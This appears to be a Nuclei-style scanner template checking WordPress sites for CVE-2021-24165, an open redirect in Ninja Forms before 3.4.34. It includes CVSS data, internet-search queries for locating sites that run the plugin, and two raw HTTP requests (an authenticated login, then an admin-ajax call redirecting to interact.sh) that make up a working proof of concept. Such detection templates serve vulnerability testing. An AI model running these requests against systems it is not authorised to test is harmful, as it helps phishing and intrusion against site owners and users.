WordPress Ninja Forms <3.4.34 - Open Redirect

id: CVE-2021-24165

info:
  name: WordPress Ninja Forms <3.4.34 - Open Redirect
  author: dhiyaneshDk,daffainfo
  severity: medium
  description: |
    WordPress Ninja Forms plugin before 3.4.34 contains an open redirect vulnerability via the wp_ajax_nf_oauth_connect AJAX action, due to the use of a user-supplied redirect parameter and no protection in place. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the installation of malware.
  remediation: |
    Update to the latest version of the Ninja Forms plugin (3.4.34 or higher) to fix the open redirect vulnerability.
  reference:
    - https://wpscan.com/vulnerability/6147acf5-e43f-47e6-ab56-c9c8be584818
    - https://www.wordfence.com/blog/2021/02/one-million-sites-affected-four-severe-vulnerabilities-patched-in-ninja-forms/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24165
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24165
    cwe-id: CWE-601
    epss-score: 0.01643
    epss-percentile: 0.73571
    cpe: cpe:2.3:a:ninjaforms:ninja_forms:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: ninjaforms
    product: ninja_forms
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/ninja-forms/
    fofa-query: body=/wp-content/plugins/ninja-forms/
    publicwww-query: /wp-content/plugins/ninja-forms/
  tags: cve2021,cve,wordpress,redirect,wp-plugin,authenticated,wp,wpscan,ninjaforms,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin-ajax.php?client_id=1&redirect=https://interact.sh&action=nf_oauth_connect HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 302'
          - 'status_code_2 == 302'
          - "contains(header_2, 'Location: https://interact.sh?client_id=1')"
        condition: and
# digest: 4a0a004730450221008cc35d6496f703bdd98d8efe5f5b5df8fe588eca515846a24d6f9e8b6d2a6b99022047e725bef105bf3a91eed88f512afdb05ab5e4e4cfaaf210299423c203e9fe12:922c64590222798bb761d5b6d8e72950